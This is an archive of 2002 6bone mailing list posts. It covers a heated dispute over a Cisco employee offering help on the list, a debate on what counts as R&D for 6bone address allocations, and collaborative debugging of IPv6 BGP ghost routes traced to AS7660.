->I disagree.  The ipv6-support address is *not* well-known, unless you
->happen to be one of the Cisco IPv6 EFT beta testers (which I am, so
->I know about it) - I am sure that Sascha will appreciate the direct
->contact into Cisco IPv6 development.

	I agree with your statements Gert.


->The fact that *you* seem to have a big problem with Cisco in general
->and every single person that works for Cisco doesn't mean everybody
->else agrees with you.

->I *want* vendor contacts that actually care about fixing things in
their
->software or hardware.  And I *want* vendor contacts to read *and
write*
->on public mailing lists that happen to see problem reports about their
->stuff here and then.  Be it Cisco, Juniper, everybody else.  (Well, in
->this place "... as long as it is IPv6 related").

	I am actually on the 6bone right now because of comments made by
Paul on this list. I for one appreciate his input, even if it might have
a Cisco ring to it. I have not seen much opposition to his input, but
have seen it help at least a few people (that I know of). That is good
enough for me.

->Gert Doering
->       -- NetMaster
->-- 

Regards,

--
Jon Christopherson
1526 580C 7D3F 1672 2290  9607 BE71 F972 8D03 1977



From michel@arneill-py.sacramento.ca.us Tue Aug 13 20:00:52 2002
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Subject: RE: Cisco support (was [6bone] routing problem)
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>> Paul Aitken wrote:
>> Then the clever thing to do would be to email some details to 
>> ipv6-support@cisco.com so we can check it out, eh?
>> Gosh, it's a good thing some of us subscribe to this list,
>> and of course we know exactly what sort of router you're
>> using and what software version, right?
>> Sigh.

> Gert Doering wrote:
> And I *want* vendor contacts to read *and write* on
> public mailing lists

Oh I see. That must be the politically correct way to say that you want
vendors that write shitty code to come trolling the mailing list and
sarcastically explain that if their shitty code has bugs it's because of
the users that did not report the bugs.

I have news for you: when code has bugs, it's typically the result of
the people that wrote that code and not the user's fault.

Michel.


From tvo@EnterZone.Net Tue Aug 13 21:46:35 2002
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On Tue, 13 Aug 2002, Michel Py wrote:

> > Paul Aitken wrote:
> > "Cisco" means thousands of individual people. It's regrettable
> > that any of them exhibit this unfortunate attitude, but I'm
> > sure no company likes negative publicity.
> 
> You don't get it, do you. What if individuals that happen to work for
> Microsoft came posting each time someone said "Microsoft sucks" on a
> public forum?
> 
> Fortunately, Microsoft employees don't. This is not a place for vendors
> to try to convince the audience that they do not suck, and this applies
> to Cisco as well as everyone else.
> 
> People that post here typically know what Cisco's IPv6 support email
> address is; if they feel like contacting Cisco support they will do it
> on their own and I say again that you have no business reminding it
> publicly to the list.
> 
> Michel.

Michel,

In every instance that I have had the pleasure of communicating with you
prior to this, you have conducted yourself as a well mannered,
intellectual individual.  What makes this case different?  In my opinion,
Paul simply posted information in an attempt to help someone.

Perhaps you have had some bad experience with Cisco in the past that has
left you jaded against anyone with an @cisco.com email address.  Please
refrain from venting this against someone who was obviously simply trying
to help.

You state that that Paul "has no business publicly reminding it to the
list" referring to his posting the cisco IPv6 support email address.  I
beg to differ.  I think that it is refreshing to see someone from [insert
ANY router vendor here] who is active and attentive in a public mailing
list.  Since Paul works in the Cisco IPv6 world, and obviously felt that
he could help, he posted as such.  I can't count the number of times that
I've seen prople from Vendor C, F and J go running for cover on NANOG when
someone posted a problem that might be a bug in their code.

Again, you have in all previous cases, presented yourself as a
professional, curtious, intellectual individual.  What about Paul offering
assistance prompted you to make an ass of yourself this time?

If you don't like Cisco, that's just fine.  The rest of the 6bone
community doesn't need to see you vent at Paul over that.  I know that I
for one am both disappointed and tired of it.

Grow up.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Tue Aug 13 22:05:43 2002
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On Tue, 13 Aug 2002, Michel Py wrote:

> > What kind of an attitude is this? Someone has a problem,
> > an employee of the vendor jumps in and offers to help them,
> > and you COMPLAIN? Employees of vendors have the same right
> > to participate on a mailing list as the rest of the world...
> > If someone offers to help, you should be glad!
> 
> We have a word for this kind of people: Trolls. And they troll not to
> help, but because someone said something about their precious product
> being less than perfect, heaven forbid.

Watch using that word "we" Michel.  Someone who reads this thread in the
archive might very well group *me* into that pronoun.  I believe you're
being a a bit pretentious here.


> 
> > Hey folks,
> > while this is definitely funny:
> > cr4.hamburg1#sh bgp ipv6 2001:610::/35
> > BGP routing table entry for 2001:610::/35, version 201014
> > Paths: (0 available, no best path)
> > Flag: 0x820
> >  Advertised to peer-groups:
> >     PEERS
> > Isn't it? As you see, the cisco knows the path
> > but does not know any paths towards the destination :-)
> > -Sascha
> 
> Note that Sascha never asked for help. The only reason Cisco jumped in
> is to try to diffuse the consequences of a Cisco bug being posted to a
> public list.
> 

Oh good friggin' grief!  If they hadn't jumped in and offered to help, you
would complain about their lack of support.  They jump in (and I commend
them for doing so) and you jump their $h!t?

Good God, man.  Get a life.

> Just added to my personal troll list: paitken@cisco.com

Just added to my dropped peers list:

AS23169

I want no direct or perceived association with anyone so asinine.


> (No match for Jim Fleming, though).

Actually, I think you're quite the equal of Jim, perhaps even more of a
kook based on todays rantings.

Happy blackholes,

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From gert@Space.Net Tue Aug 13 23:54:44 2002
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From: Gert Doering <gert@space.net>
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Hi,

On Tue, Aug 13, 2002 at 08:00:45PM -0700, Michel Py wrote:
> Oh I see. That must be the politically correct way to say that you want
> vendors that write shitty code to come trolling the mailing list and
> sarcastically explain that if their shitty code has bugs it's because of
> the users that did not report the bugs.
> 
> I have news for you: when code has bugs, it's typically the result of
> the people that wrote that code and not the user's fault.

Maybe it's time to learn some facts of life: all software has bugs.

The difference is how the people that are responsible for them handle
bug reports and go fixing them.

What was the major software package that you wrote recently that has no
single bug?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From joao@ripe.net Wed Aug 14 00:23:49 2002
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Date: Wed, 14 Aug 2002 09:23:33 +0200
To: Bob Fink <fink@es.net>, <6bone@ISI.EDU>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] pTLA request by Euro6IX project for  
 exchangeexperimentation - review closes 3 Sep 2002
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I see,
  in that case I guess we better start creating the 4Bone, for newvie 
ISPs in IPv4 and people developing new applications  that benefit 
from IPv4 transport.

Come on, these two cases were OK up to the point where people could 
not get any other type of IPv6 addresses but now they are just normal 
businness.

Only case A really merits 6Bone addresses, because items in that 
category would have the potential to disrupt an operating Internet 
using IPv6 in some of its areas.

I hope this group will be able to move on and take the step of 
declaring IPv6 usable.

Joao

At 9:43 -0700 13/8/02, Bob Fink wrote:
>At 05:32 PM 8/13/2002 +0200, Joao Luis Silva Damas wrote:
>>Hi 6bone'rs,
>>
>>a bit of this message got me thinking and I would really like some 
>>input from this group on the exact meaning and intention of R&D in 
>>the context of the 6bone.
>>
>>Is R&D in the context of the 6bone:
>>
>>A) R&D in new IPv6 protocol or transition mechanism features?
>
>Yes, both.
>
>>B) R&D  as experimentation in the context of deployment within an 
>>ISP or other network operator?
>
>Yes.
>
>>C) R&D un-related to IPv6, such as work done at an R&D institution 
>>(University or corporate research center, for instance)?
>
>Nope.
>
>>D) R&D related to applications which might benefit from using IPv6 
>>as transport?
>
>Yes.
>
>>Note: With these questions I am not questioning this particular 
>>case, just looking for clarification in the context of the 6Bone.
>
>
>Thanks,
>
>Bob


From ejb@sdf.lonestar.org Wed Aug 14 05:39:07 2002
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Subject: [6bone] 2001:470::/35 ghost routes.
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[Apologies to the list manager, I sent this mail earlier from the wrong 
From-address. Please disregard that.]

Good morning,  I hope this is correct forum to pose this question, 
if not please ignore ;-).

So.  It seems some people are having problems reaching 2001:470::/32,
owned by he.net.  Let's see bgp info for this block:

BGP routing table entry for 2001:470::/32
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  6939
    2001:470:1f00:ffff::1f6 from 2001:470:1f00:ffff::1f6 (64.71.128.82)
    (fe80::4047:8052)
      Origin IGP, localpref 100, valid, external
      Last update: Wed Aug 14 10:48:33 2002

  24643 6830 6939
    2001:730:5::1:4 from 2001:730:5::1:4 (213.46.231.151)
    (fe80::d52e:e797)
      Origin IGP, localpref 100, weight 2, valid, external, best
      Community: 6830:60003 6830:60011
      Last update: Wed Aug 14 10:48:28 2002

Well, that seems reasonable.  But look at traceroute:

traceroute6 to 2001:470:1f00:ffff::1f4 (2001:470:1f00:ffff::1f4) from 
2001:730:5::1:5, 30 hops max, 12 byte packets
 1  nextgen-nl-gw1-ext.ipv6.hades.skumler.net  33.369 ms  31.422 ms  32 ms
 2  nl-ams-re-02-fe-2-0.ipv6.aorta.net  31.812 ms  31.67 ms  30.005 ms
 3  
freestone-upctech.tun.ipv6.as8758.net.3.0.0.0.0.0.0.0.6.0.0.4.e.f.f.3.ip6.int  
81.58 ms  88.527 ms  86.772 ms
 4  * * *
 5  enterzone-viagenie-gw.cyqb.ipv6.enterzone.net  274.055 ms  224.74 ms  
229.084 ms
 6  3ffe:8000:ffff:29::1  500.028 ms *  576.364 ms
 7  cs-v6-atm0-2.hay.vbns.net  529.574 ms  522.357 ms  520.166 ms
 8  3ffe:2900:a:4::2  501.968 ms  496.5 ms  515.963 ms
 9  6bone-gw2.ipv6.cselt.it  576.516 ms  556.655 ms  556.584 ms
10  chello-gw1.ipv6.tilab.it  600.664 ms  564.488 ms  567.033 ms
11  3ffe:1d00:2:25::1  729.294 ms *  720.111 ms
12  * * *
13  enterzone-viagenie-gw.cyqb.ipv6.enterzone.net  792.195 ms  846.14 ms  
761.983 ms
14  3ffe:8000:ffff:29::1  1001.92 ms  1081.14 ms  1066.2 ms
15  cs-v6-atm0-2.hay.vbns.net  1064.45 ms  1042.58 ms  1113.2 ms
16  3ffe:2900:a:4::2  1071.17 ms  1012.31 ms  1212.54 ms

So.. I think there is a problem ;-).

Let's see output of another bgp route:

BGP routing table entry for 2001:470::/35
Paths: (1 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  24643 6830 8758 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
    2001:730:5::1:4 from 2001:730:5::1:4 (213.46.231.151)
    (fe80::d52e:e797)
      Origin IGP, localpref 100, weight 2, valid, external, best
      Community: 6830:60003 6830:60011
      Last update: Wed Aug 14 10:48:28 2002

Hm, what a strange AS-path this is.  Despite our peering with AS 6939, they
don't advertise this route.  This is probably because their /35 has changed
recently to a /32, so in fact this route should not exist -- probably it is a
ghost route?

Let's assume three possible sources; AS9044, AS10566 and AS7660.
I am inclined to point some blame at AS7660; why?  Well, let's see what 
fubar looking glass has to say about this route:

daemon.fubar.ca> show ipv6 bgp 2001:470::/35
BGP routing table entry for 2001:470::/35
Paths: (3 available, best #3, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:c00:8023:10::1 3ffe:81a0:1000::15 3ffe:81a0:1000::37
  6435 6175 7580 145 11537 22388 7660 2500 2497 3549 8002 278 6939
                                 ^^^^
    3ffe:81a0:1000::37 from 3ffe:81a0:1000::37 (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, localpref 100, valid, external
      Last update: Wed Aug 14 01:20:47 2002

  109 6175 7580 145 11537 22388 7660 2500 2497 3549 8002 278 6939
                                ^^^^
    3ffe:c00:8023:10::1 from 3ffe:c00:8023:10::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, localpref 100, valid, external
      Last update: Wed Aug 14 01:20:42 2002

  24765 8758 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
             ^^^^ ^^^^^       ^^^^
    3ffe:81a0:1000::11 from 3ffe:81a0:1000::11 (80.71.6.94)
      Origin IGP, localpref 100, valid, external, best
      Community: 24765:100 24765:800 24765:2300 24765:6007
      Last update: Wed Aug 14 01:20:16 2002

I see that of the three routes, the only common entry is AS7660.
Hm, who is this?...

root@firedrake:~# whois -h whois.ripe.net AS7660
[...]
remarks:      For more information on APNIC assigned blocks, connect
remarks:      to APNIC's whois database, whois.apnic.net.

OK, so:

root@firedrake:~# whois -h whois.apnic.net AS7660
[...]
% -----------------
% No entries found.
% -----------------
%
% Search tips:
%
% 1. To search for an AS number, include "AS" in front of the number.
%    Example: AS4808

Well, it seems that this APNIC ASN does not have an entry in APNIC's
whois database. Hmmm.

AS10566 is Viagenie, of course; without making any comment myself,
I'm told by others they have had problems with advertising ghost
routes in the past,  So maybe it's them.
AS9044 appears to be owned by solnet.ch.  I haven't heard of any
problems from them..

Would anyone like to comment on this problem? (or else-- tell me
to go away ;-) sorry if this is not an appropriate question for
this list, but maybe it affects 6bone community too..)

(Maybe too if anyone knows the contact for AS7660 it's useful.)

Regards,
	-larne.

From bmanning@ISI.EDU Wed Aug 14 05:42:00 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200208141241.g7ECfsi09777@boreas.isi.edu>
Subject: Re: [6bone] pTLA request by Euro6IX project for   exchangeexperimentation - review closes 3 Sep 2002
In-Reply-To: <p05111702b97fb4cc523c@[193.0.1.186]> from Joao Luis Silva Damas at "Aug 14, 2 09:23:33 am"
To: joao@ripe.net (Joao Luis Silva Damas)
Date: Wed, 14 Aug 2002 05:41:54 -0700 (PDT)
Cc: fink@es.net, 6bone@ISI.EDU
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	using "metro-based" addressing is a novel spin on traditional
	delegation techniques. to some degree, it is an outgrowth of
	"normal" exchange point delegations, in that the prefix is
	bound to a geographic region.  Such techniques have been proposed
	in both the v4 and v6 communities.  This looks to be a serious
	attempt to try it with v6. 

	that said, I don't see why this request -requires- 6bone space,
	but then again, its more in the spirit of testing new address
	management techniques than some of the 6bone delegations have
	presented for justification. 
	
	IPv4 space has been delegated for similar addressing experiments 
	in the past and may be in future.  Some ended cleanly (net 39)
	and some have taken more time (net 24). 

	Given the nature of the experiment in addressing on a metro-scale,
	and that the 6bone is clearly experimental in nature, I'm in
	favor of letting these folks get a delegation to see if the 
	social/engineering aspects will work.   If so, they should end
	up renumbering into production space, just like the rest of the
	experiments, when they wrap up.



% I see,
%   in that case I guess we better start creating the 4Bone, for newvie 
% ISPs in IPv4 and people developing new applications  that benefit 
% from IPv4 transport.
% 
% Come on, these two cases were OK up to the point where people could 
% not get any other type of IPv6 addresses but now they are just normal 
% businness.
% 
% Only case A really merits 6Bone addresses, because items in that 
% category would have the potential to disrupt an operating Internet 
% using IPv6 in some of its areas.
% 
% I hope this group will be able to move on and take the step of 
% declaring IPv6 usable.
% 
% Joao
% 
% At 9:43 -0700 13/8/02, Bob Fink wrote:
% >At 05:32 PM 8/13/2002 +0200, Joao Luis Silva Damas wrote:
% >>Hi 6bone'rs,
% >>
% >>a bit of this message got me thinking and I would really like some 
% >>input from this group on the exact meaning and intention of R&D in 
% >>the context of the 6bone.
% >>
% >>Is R&D in the context of the 6bone:
% >>
% >>A) R&D in new IPv6 protocol or transition mechanism features?
% >
% >Yes, both.
% >
% >>B) R&D  as experimentation in the context of deployment within an 
% >>ISP or other network operator?
% >
% >Yes.
% >
% >>C) R&D un-related to IPv6, such as work done at an R&D institution 
% >>(University or corporate research center, for instance)?
% >
% >Nope.
% >
% >>D) R&D related to applications which might benefit from using IPv6 
% >>as transport?
% >
% >Yes.
% >
% >>Note: With these questions I am not questioning this particular 
% >>case, just looking for clarification in the context of the 6Bone.
% >
% >
% >Thanks,
% >
% >Bob
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From joao@ripe.net Wed Aug 14 06:11:57 2002
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Date: Wed, 14 Aug 2002 15:11:42 +0200
To: Bill Manning <bmanning@ISI.EDU>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] pTLA request by Euro6IX project for  
 exchangeexperimentation - review closes 3 Sep 2002
Cc: fink@es.net, 6bone@ISI.EDU
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Bill,

in my first mail I said:

% >>Note: With these questions I am not questioning this particular
% >>case, just looking for clarification in the context of the 6Bone.

If people think this falls under A, by all means do allocate.

What I am looking for is a general view and a clarified definition of 
R&D in the context of the 6Bone, and my last mail expresses my 
opinion, one which I feel strongly about.

Cheers,
Joao

At 5:41 -0700 14/8/02, Bill Manning wrote:
>	using "metro-based" addressing is a novel spin on traditional
>	delegation techniques. to some degree, it is an outgrowth of
>	"normal" exchange point delegations, in that the prefix is
>	bound to a geographic region.  Such techniques have been proposed
>	in both the v4 and v6 communities.  This looks to be a serious
>	attempt to try it with v6.
>
>	that said, I don't see why this request -requires- 6bone space,
>	but then again, its more in the spirit of testing new address
>	management techniques than some of the 6bone delegations have
>	presented for justification.
>
>	IPv4 space has been delegated for similar addressing experiments
>	in the past and may be in future.  Some ended cleanly (net 39)
>	and some have taken more time (net 24).
>
>	Given the nature of the experiment in addressing on a metro-scale,
>	and that the 6bone is clearly experimental in nature, I'm in
>	favor of letting these folks get a delegation to see if the
>	social/engineering aspects will work.   If so, they should end
>	up renumbering into production space, just like the rest of the
>	experiments, when they wrap up.
>
>
>
>% I see,
>%   in that case I guess we better start creating the 4Bone, for newvie
>% ISPs in IPv4 and people developing new applications  that benefit
>% from IPv4 transport.
>%
>% Come on, these two cases were OK up to the point where people could
>% not get any other type of IPv6 addresses but now they are just normal
>% businness.
>%
>% Only case A really merits 6Bone addresses, because items in that
>% category would have the potential to disrupt an operating Internet
>% using IPv6 in some of its areas.
>%
>% I hope this group will be able to move on and take the step of
>% declaring IPv6 usable.
>%
>% Joao
>%
>% At 9:43 -0700 13/8/02, Bob Fink wrote:
>% >At 05:32 PM 8/13/2002 +0200, Joao Luis Silva Damas wrote:
>% >>Hi 6bone'rs,
>% >>
>% >>a bit of this message got me thinking and I would really like some
>% >>input from this group on the exact meaning and intention of R&D in
>% >>the context of the 6bone.
>% >>
>% >>Is R&D in the context of the 6bone:
>% >>
>% >>A) R&D in new IPv6 protocol or transition mechanism features?
>% >
>% >Yes, both.
>% >
>% >>B) R&D  as experimentation in the context of deployment within an
>% >>ISP or other network operator?
>% >
>% >Yes.
>% >
>% >>C) R&D un-related to IPv6, such as work done at an R&D institution
>% >>(University or corporate research center, for instance)?
>% >
>% >Nope.
>% >
>% >>D) R&D related to applications which might benefit from using IPv6
>% >>as transport?
>% >
>% >Yes.
>% >
>% >>Note: With these questions I am not questioning this particular
>% >>case, just looking for clarification in the context of the 6Bone.
>% >
>% >
>% >Thanks,
>% >
>% >Bob
>%
>% _______________________________________________
>% 6bone mailing list
>% 6bone@mailman.isi.edu
>% http://mailman.isi.edu/mailman/listinfo/6bone
>%
>
>
>--
>--bill
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From paitken@cisco.com Wed Aug 14 06:26:58 2002
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Gert Doering wrote:

> This time the announcement seems to be stuck in AS7660 (someone in Japan)


Edward Brocklesby wrote:

 > I see that of the three routes, the only common entry is AS7660.
 > Hm, who is this?...
 > [...]
 > (Maybe too if anyone knows the contact for AS7660 it's useful.)


AS7660 as listed as being APAN JP Network Operations Center, 1-8-1 
Otemachi Chiyoda-ku, Tokyo, contacts are listed by name, no e-mail 
addresses.

But go to http://whois.nic.ad.jp/cgi-bin/whois_gw and ask it for 7660 - 
you'll get what you are looking for.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From gert@Space.Net Wed Aug 14 06:38:23 2002
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From: Gert Doering <gert@space.net>
To: Edward Brocklesby <ejb@sdf.lonestar.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes.
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hi,

On Wed, Aug 14, 2002 at 01:38:59PM +0100, Edward Brocklesby wrote:
> So.. I think there is a problem ;-).
> 
> Let's see output of another bgp route:
> 
> BGP routing table entry for 2001:470::/35

Ghosts again.  Here is what I have for this prefix:

  1930 1916 11537 786 5623 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
  3292 6830 8758 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
  4554 5609 5623 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
  1752 6830 8758 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
  3274 6175 7580 145 11537 22388 7660 2500 2497 3549 8002 278 6939
  109 109 6175 7580 145 11537 22388 7660 2500 2497 3549 8002 278 6939
  9044 10566 10109 7660 2500 2497 3549 8002 278 6939

> Hm, what a strange AS-path this is.  Despite our peering with AS 6939, they
> don't advertise this route.  This is probably because their /35 has changed
> recently to a /32, so in fact this route should not exist -- probably it is a
> ghost route?

Yep, looks like it.

> Let's assume three possible sources; AS9044, AS10566 and AS7660.
> I am inclined to point some blame at AS7660; why?  Well, let's see what 
> fubar looking glass has to say about this route:

From what I have, I'd also tend to blaim 7660.  They're the only common 
element in all the path tails, while 90444 and 10566 don't even appear in 
two of the paths.

> I see that of the three routes, the only common entry is AS7660.
> Hm, who is this?...

Some AS in Japan, which seems to have been responsible for one of the last
ghosts as well.

[..]
> Well, it seems that this APNIC ASN does not have an entry in APNIC's
> whois database. Hmmm.

Interesting.  Last time I checked, they were visible...

Anyway, whois.ra.net still has them...:

aut-num:       AS7660
as-name:       UNSPECIFIED
descr:         APAN JP Network Operations Center
               1-8-1 Otemachi Chiyoda-ku
               Tokyo, JAPAN

I have no direct contacts there.

> AS10566 is Viagenie, of course; without making any comment myself,
> I'm told by others they have had problems with advertising ghost
> routes in the past,  So maybe it's them.

I don't think so.  I see a path that has no 10566 in it, which implies
that they have fixed their end (even though nobody has heard anything
from them recently, which is a pity).

> Would anyone like to comment on this problem? (or else-- tell me
> to go away ;-) sorry if this is not an appropriate question for
> this list, but maybe it affects 6bone community too..)
> 
> (Maybe too if anyone knows the contact for AS7660 it's useful.)

That would be helpful, yes.  Especially if someone has a good personal
contact and could work with AS7660 to figure out what's going on (some
specific recent software change, or some new product, or whatnot).

AS7660 is a new player in this "ghost game"...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nighthawk@unrealircd.com Wed Aug 14 06:45:44 2002
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From: Edward Brocklesby <ejb@sdf.lonestar.org>
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To: Gert Doering <gert@Space.Net>, Edward Brocklesby <ejb@sdf.lonestar.org>
Subject: Re: [6bone] 2001:470::/35 ghost routes.
Date: Wed, 14 Aug 2002 14:45:37 +0100
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Gert Doering:
> That would be helpful, yes.  Especially if someone has a good personal
> contact and could work with AS7660 to figure out what's going on (some
> specific recent software change, or some new product, or whatnot).

Well, extracted from the db (thanks to Paul Aitken), we have
Administrative contact:

a. [JPNIC Handle]               SG001JP
c. [Last, First]                Goto, Shigeki
d. [E-Mail]                     goto@goto.info.waseda.ac.jp
g. [Organization]               Waseda University
l. [Division]                   Department of Info. and Comp. Sci.,School of 
Science and
                                Engineering
n. [Title]                      Professor

and three technical contacts:

a. [JPNIC Handle]               KK007JP
c. [Last, First]                Konishi, Kazunori
d. [E-Mail]                     konish@kddlabs.co.jp
g. [Organization]               KDDI R&D Laboratories INC.
l. [Division]                    
n. [Title]                      Principal Research Engineer

a. [JPNIC Handle]               AK003JP
c. [Last, First]                Kato, Akira
d. [E-Mail]                     kato@wide.ad.jp
g. [Organization]               The University of Tokyo
l. [Division]                   Information Technology Center
n. [Title]                      Research Associate

a. [JPNIC Handle]               MF030JP
c. [Last, First]                Fujinaga, Masahiko
d. [E-Mail]                     mf-fujinaga@kddi.com
g. [Organization]               KDDI CORPORATION

I don't really want to take this up myself, but maybe someone wants to have a 
word..

> Gert Doering
>         -- NetMaster

Regards,
	-larne.

From wimbie@surfnet.nl Wed Aug 14 07:02:33 2002
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In-reply-to: Your message of "Wed, 14 Aug 2002 15:38:20 +0200."
             <20020814153820.U27015@Space.Net> 
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==> From: Gert Doering

<snip>

> Interesting.  Last time I checked, they were visible...

Funny you mention this. Since the same AS7660 also appeared
when we were having problems I looked in the 6bone whois and
found an e-mail address (@kddlabs.co.jp). Didn't receive a
reply. But now it seems to have vanished from the 6bone whois.

-Wim -/- SURFnet


From riel@conectiva.com.br Wed Aug 14 07:17:12 2002
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 - review closes 3 Sep 2002
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On Wed, 14 Aug 2002, Joao Luis Silva Damas wrote:

> Come on, these two cases were OK up to the point where people could not
> get any other type of IPv6 addresses but now they are just normal
> businness.

Yeah right.  I doubt ipv6 is that widely available already.

> Only case A really merits 6Bone addresses, because items in that
> category would have the potential to disrupt an operating Internet
> using IPv6 in some of its areas.

The fact that you use "an operating internet" instead of
"the internet" is telling.  IPv6 just isn't commonplace yet.

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From nicolas.deffayet@ndsoftware.net Wed Aug 14 07:17:26 2002
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Subject: Re: [6bone] routing problem
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Paul Aitken <paitken@cisco.com>
Cc: Gert Doering <gert@space.net>, ejb@sdf.lonestar.org, 6bone@ISI.EDU
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	<57898.1029157534@gigant.surfnet.nl> <20020812155930.C27015@Space.Net> 
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On Wed, 2002-08-14 at 15:25, Paul Aitken wrote:
> Gert Doering wrote:
> 
> > This time the announcement seems to be stuck in AS7660 (someone in Japan)
> 
> 
> Edward Brocklesby wrote:
> 
>  > I see that of the three routes, the only common entry is AS7660.
>  > Hm, who is this?...
>  > [...]
>  > (Maybe too if anyone knows the contact for AS7660 it's useful.)
> 
> 
> AS7660 as listed as being APAN JP Network Operations Center, 1-8-1 
> Otemachi Chiyoda-ku, Tokyo, contacts are listed by name, no e-mail 
> addresses.
> 
> But go to http://whois.nic.ad.jp/cgi-bin/whois_gw and ask it for 7660 - 
> you'll get what you are looking for.
> 

APAN-JP (http://www.jp.apan.net/v6/index.html)
Looking Glass: http://www.jp.apan.net/cgi-bin/ipv6/mrlg
ASPath-tree: http://www.jp.apan.net/ASpath-tree/bgp.html
Ping: http://www.jp.apan.net/cgi-bin/ipv6/ping6
Traceroute: http://www.jp.apan.net/cgi-bin/ipv6/traceroute6

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Wed Aug 14 07:23:03 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes.
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Gert Doering <gert@space.net>
Cc: Edward Brocklesby <ejb@sdf.lonestar.org>, 6bone@mailman.isi.edu
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On Wed, 2002-08-14 at 15:38, Gert Doering wrote:
hi,
> 
> On Wed, Aug 14, 2002 at 01:38:59PM +0100, Edward Brocklesby wrote:
> > So.. I think there is a problem ;-).
> > 
> > Let's see output of another bgp route:
> > 
> > BGP routing table entry for 2001:470::/35
> 
> Ghosts again.  Here is what I have for this prefix:
> 
>   1930 1916 11537 786 5623 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
>   3292 6830 8758 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
>   4554 5609 5623 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
>   1752 6830 8758 9044 10566 10109 7660 2500 2497 3549 8002 278 6939
>   3274 6175 7580 145 11537 22388 7660 2500 2497 3549 8002 278 6939
>   109 109 6175 7580 145 11537 22388 7660 2500 2497 3549 8002 278 6939
>   9044 10566 10109 7660 2500 2497 3549 8002 278 6939
> 
> 
> > I see that of the three routes, the only common entry is AS7660.
> > Hm, who is this?...
> 
> Some AS in Japan, which seems to have been responsible for one of the last
> ghosts as well.
> 
> [..]
> > Well, it seems that this APNIC ASN does not have an entry in APNIC's
> > whois database. Hmmm.
> 
> Interesting.  Last time I checked, they were visible...
> 
> Anyway, whois.ra.net still has them...:
> 
> aut-num:       AS7660
> as-name:       UNSPECIFIED
> descr:         APAN JP Network Operations Center
>                1-8-1 Otemachi Chiyoda-ku
>                Tokyo, JAPAN
> 
> I have no direct contacts there.
> 
> 
> > Would anyone like to comment on this problem? (or else-- tell me
> > to go away ;-) sorry if this is not an appropriate question for
> > this list, but maybe it affects 6bone community too..)
> > 
> > (Maybe too if anyone knows the contact for AS7660 it's useful.)
> 
> That would be helpful, yes.  Especially if someone has a good personal
> contact and could work with AS7660 to figure out what's going on (some
> specific recent software change, or some new product, or whatnot).
> 
> AS7660 is a new player in this "ghost game"...

http://www.jp.apan.net/cgi-bin/ipv6/mrlg

show bgp ipv6 2001:470::/35
% Network not in table

show bgp ipv6 2001:470::/32
BGP routing table entry for 2001:470::/32, version 1245624
Paths: (1 available, best #1)
  Not advertised to any peer
  9264 6939
    2001:288:3B0::1D (metric 2) from 3FFE:8140:101:3::3 (203.181.248.4)
      Origin IGP, localpref 100, valid, internal, best

Best Regards,

Nicolas DEFFAYET


From gert@Space.Net Wed Aug 14 07:25:00 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes.
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Hi,

On Wed, Aug 14, 2002 at 04:23:50PM +0200, Nicolas DEFFAYET wrote:
> > AS7660 is a new player in this "ghost game"...
> 
> http://www.jp.apan.net/cgi-bin/ipv6/mrlg
> 
> show bgp ipv6 2001:470::/35
> % Network not in table

Interesting indeed.  So *they* don't have it anymore, but they didn't
withdraw it...

I still see the prefix over various paths, all with 7660 in them.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Wed Aug 14 07:26:39 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes.
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Edward Brocklesby <ejb@sdf.lonestar.org>
Cc: Gert Doering <gert@Space.Net>, 6bone@mailman.isi.edu
